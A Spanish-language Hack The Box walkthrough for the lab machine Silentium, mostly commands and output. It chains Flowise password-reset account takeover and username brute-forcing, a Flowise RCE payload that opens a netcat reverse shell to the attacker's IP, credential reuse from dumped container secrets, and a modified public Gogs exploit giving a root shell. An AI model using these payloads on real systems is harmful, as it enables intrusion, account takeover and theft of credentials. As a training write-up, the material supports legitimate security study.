Descripción

Silentium es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de subdominios para descubrir la aplicación web Flowise
  • Restablecimiento de Contraseña sin Autenticación en Flowise y Toma de Control de la Cuenta
  • Ejecución remota de comandos autenticada de Flowise conduce a un contenedor Docker
  • Reutilización de credenciales de Linux desde variables de entorno de un contenedor Docker
  • Escalada de privilegios a través de la ejecución de comandos en Gogs con un hook de Git

Reconocimiento

Primero, vamos a verificar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.32.14.

$ ping -c 3 10.129.32.14
PING 10.129.32.14 (10.129.32.14) 56(84) bytes of data.
64 bytes from 10.129.32.14: icmp_seq=1 ttl=63 time=52.0 ms
64 bytes from 10.129.32.14: icmp_seq=2 ttl=63 time=53.7 ms
64 bytes from 10.129.32.14: icmp_seq=3 ttl=63 time=50.9 ms

--- 10.129.32.14 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 50.911/52.226/53.743/1.164 ms

La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN con Nmap para verificar todos los puertos abiertos.

$ sudo nmap 10.129.32.14 -sS -Pn -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.32.14
Host is up (0.055s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.69 seconds

Detectamos los puertos abiertos 22, y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con la versión del servicio y scripts.

$ nmap 10.129.32.14 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.32.14
Host is up (0.054s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.64 seconds

Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, nos moveremos al servicio HTTP. Nos movemos a la aplicación web y agregamos el host silentium.htb al archivo /etc/hosts.

$ echo '10.129.32.14 silentium.htb' | sudo tee -a /etc/hosts

Encontramos una página estática sobre una empresa de finanzas institucional independiente. No encontramos nada de valor en la página, por lo tanto, pasamos a enumerar los subdominios.

$ gobuster vhost -u http://silentium.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://silentium.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
staging.silentium.htb Status: 200 [Size: 3142]

Encontramos uno, staging, lo agregamos al archivo /etc/hosts.

$ echo '10.129.32.14 staging.silentium.htb' | sudo tee -a /etc/hosts

Enumerando la página encontramos un diálogo de inicio de sesión y el nombre de la aplicación en el título de la página, Flowise. Flowise es una plataforma de desarrollo de sistemas de agentes de código abierto. A través de su API podemos enumerar la versión instalada, 3.0.5.

$ curl -s 'http://staging.silentium.htb/api/v1/version' | jq
{
  "version": "3.0.5"
}

Explotación

No tenemos credenciales para iniciar sesión en la página, pero existe una vulnerabilidad que podría ayudarnos. La vulnerabilidad descrita en el aviso, CVE-2025-58434, afecta a versiones de Flowise inferiores o iguales a 3.0.5 y proviene de una falta de verificación de autenticación en el endpoint forgot-password. Esta debilidad permite a atacantes no autenticados obtener un token de restablecimiento de contraseña válido (tempToken) para cualquier usuario sin verificación, lo que les permite restablecer contraseñas y tomar completamente el control de las cuentas (incluyendo las administrativas). Vamos a verificar la vulnerabilidad para el usuario admin@silentium.htb.

$ curl -X POST "http://staging.silentium.htb/api/v1/account/forgot-password" -H "Content-Type: application/json" -d '{"user":{"email":"admin@silentium.htb"}}'        
{"statusCode":404,"success":false,"message":"User Not Found","stack":{}}

El servidor nos devuelve que el usuario no existe, por lo tanto podemos confirmar que este endpoint también permite el reconocimiento de usuarios. Vamos a realizar una fuerza bruta sobre los usuarios para encontrar uno válido con la herramienta wfuzz. Necesitamos configurar solo una tarea ya que el servidor finalmente se cae.

$ wfuzz -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -d '{"user":{"email":"FUZZ@silentium.htb"}}' -H "Content-Type: application/json" -t 1 --hc 404 'http://staging.silentium.htb/api/v1/account/forgot-password'

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://staging.silentium.htb/api/v1/account/forgot-password
Total requests: 8295455

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                               
=====================================================================

000000485:   201        0 L      1 W        579 Ch      "ben"                      

Total time: 0
Processed Requests: 538
Filtered Requests: 537
Requests/sec.: 0

Encontramos un usuario válido, ben. Vamos a verificar si podemos recuperar el token utilizado para restablecer la contraseña.

$ curl -s -X POST "http://staging.silentium.htb/api/v1/account/forgot-password" -H "Content-Type: application/json" -d '{"user":{"email":"ben@silentium.htb"}}' | jq
{
  "user": {
    "id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "name": "admin",
    "email": "ben@silentium.htb",
    "credential": "$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG",
    "tempToken": "h2c3DauD1ICFuK2MS5kUjXH59ZJqJIruQk7l0UoU3WbNDtjB6BXhZ8GDO4d6q72u",
    "status": "active",
    "createdDate": "2026-01-29T20:14:57.000Z",
    "createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
  },
  "organization": {},
  "organizationUser": {},
  "workspace": {},
  "workspaceUser": {},
  "role": {}
}

Obtenemos el token para restablecer la contraseña, h2c3DauD1ICFuK2MS5kUjXH59ZJqJIruQk7l0UoU3WbNDtjB6BXhZ8GDO4d6q72u. También obtenemos el hash de la contraseña del usuario, pero no es posible romperlo. Cambiamos la contraseña a Password123@ mediante el punto final reset-password.

$ curl -s -X POST "http://staging.silentium.htb/api/v1/account/reset-password" -H "Content-Type: application/json" -d '{"user":{"email":"ben@silentium.htb","tempToken":"h2c3DauD1ICFuK2MS5kUjXH59ZJqJIruQk7l0UoU3WbNDtjB6BXhZ8GDO4d6q72u","password":"Password123@"}}' | jq 
{
  "user": {
    "id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "name": "admin",
    "email": "ben@silentium.htb",
    "credential": "$2a$05$VsioQX3eMK7PVefIufXkSOhrBsZI9Vq4QbSk5Gh.zplzt2hSXzUJG",
    "tempToken": "",
    "tokenExpiry": null,
    "status": "active",
    "createdDate": "2026-01-29T20:14:57.000Z",
    "createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
  },
  "organization": {},
  "organizationUser": {},
  "workspace": {},
  "workspaceUser": {},
  "role": {}
}

Podemos iniciar sesión en la página utilizando la cuenta ben. Podemos recuperar la clave API para el usuario desde la sección API Keys, es hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc. La vulnerabilidad descrita en el aviso de GitHub, CVE-2025-59528, afecta a las versiones de Flowise inferiores o iguales a la 3.0.5 y es un fallo crítico de ejecución remota de código (RCE) en el nodo CustomMCP. El problema surge porque los datos de configuración proporcionados por el usuario (mcpServerConfig) se procesan de forma incorrecta y se evalúan directamente mediante el constructor Function() de JavaScript sin validación, lo que permite a los atacantes inyectar y ejecutar código arbitrario en el servidor con todos los privilegios de Node.js. Esto puede dar lugar a un compromiso total del sistema, incluyendo el acceso al sistema de archivos, la ejecución de comandos y la filtración de datos, incluso con requisitos de autenticación mínimos.

Tenemos una prueba de concepto que nos permite ejecutar comandos fácilmente, por ejemplo, desplegar una terminal inversa utilizando la herramienta nc. Necesitamos iniciar un puerto TCP en escucha en 1234, como nc -nvlp 1234.

$ curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP -H "Content-Type: application/json" -H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" -d '{"loadMethod": "listActions",     "inputs": {"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"nc 10.10.15.4 1234 -e sh\");return 1;})()})"}}'

Recibimos una terminal inversa como el usuario root pero encontramos que estamos dentro de un contenedor Docker.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.4] from (UNKNOWN) [10.129.32.14] 44131
sh$ whoami
root
$shenv
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test

Con la enumeración de las variables de entorno del contenedor encontramos dos contraseñas, una en la FLOWISE_PASSWORD, F1l3_d0ck3r y otra en la variable SMTP_PASSWORD, r04D!!_R4ge. La segunda contraseña se reutiliza para el usuario ben en la máquina anfitriona, por lo que podemos iniciar sesión utilizando el protocolo SSH.

$ ssh ben@silentium.htb
ben@silentium.htb's password: 
...
ben@silentium:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)

Post-Explotación

Encontramos una aplicación en ejecución como usuario root, gogs. El proyecto Gogs busca construir un servicio Git autogestionado simple, estable y extensible. La versión instalada es 0.13.3.

ben@silentium:~$ ps -ef | grep root
...
root        1515       1  0 ?        00:00:03 /opt/gogs/gogs/gogs web
...
ben@silentium:~$ /opt/gogs/gogs/gogs --version
Gogs version 0.13.3

Encontramos su archivo de configuración en el archivo /opt/gogs/gogs/custom/conf/app.ini.

ben@silentium:~$ cat /opt/gogs/gogs/custom/conf/app.ini
BRAND_NAME = Gogs
RUN_USER   = root
RUN_MODE   = prod

[server]
HTTP_ADDR        = 127.0.0.1
HTTP_PORT        = 3001
DOMAIN           = staging-v2-code.dev.silentium.htb
ROOT_URL         = http://staging-v2-code.dev.silentium.htb/
OFFLINE_MODE     = false
EXTERNAL_URL     = http://staging-v2-code.dev.silentium.htb:3001/
DISABLE_SSH      = false
SSH_PORT         = 22
START_SSH_SERVER = false

[database]
TYPE     = sqlite3
PATH     = /opt/gogs/data/gogs.db
HOST     = 127.0.0.1:5432
NAME     = gogs
SCHEMA   = public
USER     = gogs
PASSWORD = 
SSL_MODE = disable

[repository]
ROOT_PATH      = /root/gogs-repositories
DEFAULT_BRANCH = master
ROOT           = /root/gogs-repositories

[session]
PROVIDER = file
...
[security]
INSTALL_LOCK = true
SECRET_KEY   = sdsrcxSm0iC7wDO
...

Está en ejecución bajo el usuario root (RUN_USER = root) en modo producción. El servidor está enlazado localmente a 127.0.0.1:3001, pero se accede externamente a través de http://staging-v2-code.dev.silentium.htb/, con acceso Git basado en SSH habilitado a través del servicio SSH del sistema (SSH_PORT = 22) mientras se deshabilita el servidor SSH integrado de Gogs. Utiliza SQLite3 como backend de su base de datos, almacenando los datos en /opt/gogs/data/gogs.db. Los datos del repositorio se almacenan en /root/gogs-repositories. La gestión de sesiones es basada en archivos, y la instalación está bloqueada (INSTALL_LOCK = true) con una clave fija SECRET_KEY utilizada para firmar sesiones y cookies. Agregamos el host al archivo /etc/hosts.

$ echo '10.129.32.14 staging-v2-code.dev.silentium.htb' | sudo tee -a /etc/hosts

Podemos acceder al servicio y encontramos una cuenta registrada, ben. También somos capaces de crear una nueva cuenta, pero no descubrimos nuevos repositorios. Existe una vulnerabilidad de ejecución remota de código (RCE) provocada por un manejo incorrecto de los enlaces simbólicos en la API PutContents, CVE-2025-8110. El problema permite a atacantes autenticados crear repositorios maliciosos que contengan enlaces simbólicos que apunten fuera del directorio previsto y, a continuación, sobrescribir archivos arbitrarios en el sistema host, lo que en última instancia permite la ejecución completa de código con los privilegios del proceso Gogs. La vulnerabilidad afecta a las versiones hasta la 0.13.3.

Una prueba de concepto de la vulnerabilidad existe, desarrollada por el usuario zAbuQasem.

$ git clone https://github.com/zAbuQasem/gogs-CVE-2025-8110
$ cd gogs-CVE-2025-8110

Para que el script funcione necesitamos hacer algunas modificaciones. Necesitamos tener previamente una cuenta registrada, en este caso htbuser con htbpassword. Luego cambiamos las variables username y password de la función main y desactivamos la funcionalidad de registro comentando la línea register(session, args.url, username, password). Luego necesitamos establecer una identidad de Git para poder crear nuevos commits. Necesitamos añadir las siguientes dos líneas antes de la línea subprocess.run(["git", "commit", "-m", "Add malicious symlink"],....

        subprocess.run(
            ["git", "config", "user.email", "htbuser@silentium.htb"],
            cwd=repo_dir,
            check=True,
        )
        subprocess.run(
            ["git", "config", "user.name", "htbuser"],
            cwd=repo_dir,
            check=True,
        )

Entonces ejecutamos el exploit, pero antes de abrir el puerto TCP en escucha con nc -nvlp 1235.

$ python CVE-2025-8110.py -u http://staging-v2-code.dev.silentium.htb/ -lh 10.10.15.4 -lp 1235
[+] Authenticated successfully
Token generation status: 200
[+] Application token: 0531f994f01c77280eeca227d5685e66adce4edc
Repo creation status: 201
...
To http://staging-v2-code.dev.silentium.htb/htbuser/45d4f0a2b3da.git
   1f559fe..b6d61bb  master -> master
[+] Exploit sent, check your listener!

Recibimos la terminal inversa como el usuario root

$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.15.4] from (UNKNOWN) [10.129.32.14] 55308
bash: cannot set terminal process group (1515): Inappropriate ioctl for device
bash: no job control in this shell
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/6# id
id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la terminal root podemos recuperar los flags user.txt y root.txt.

root@silentium:/opt/gogs/gogs/data/tmp/local-repo/6# cat /home/ben/user.txt
cat /home/ben/user.txt
<REDACTED>
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/6# cat /root/root.txt
cat /root/root.txt
<REDACTED>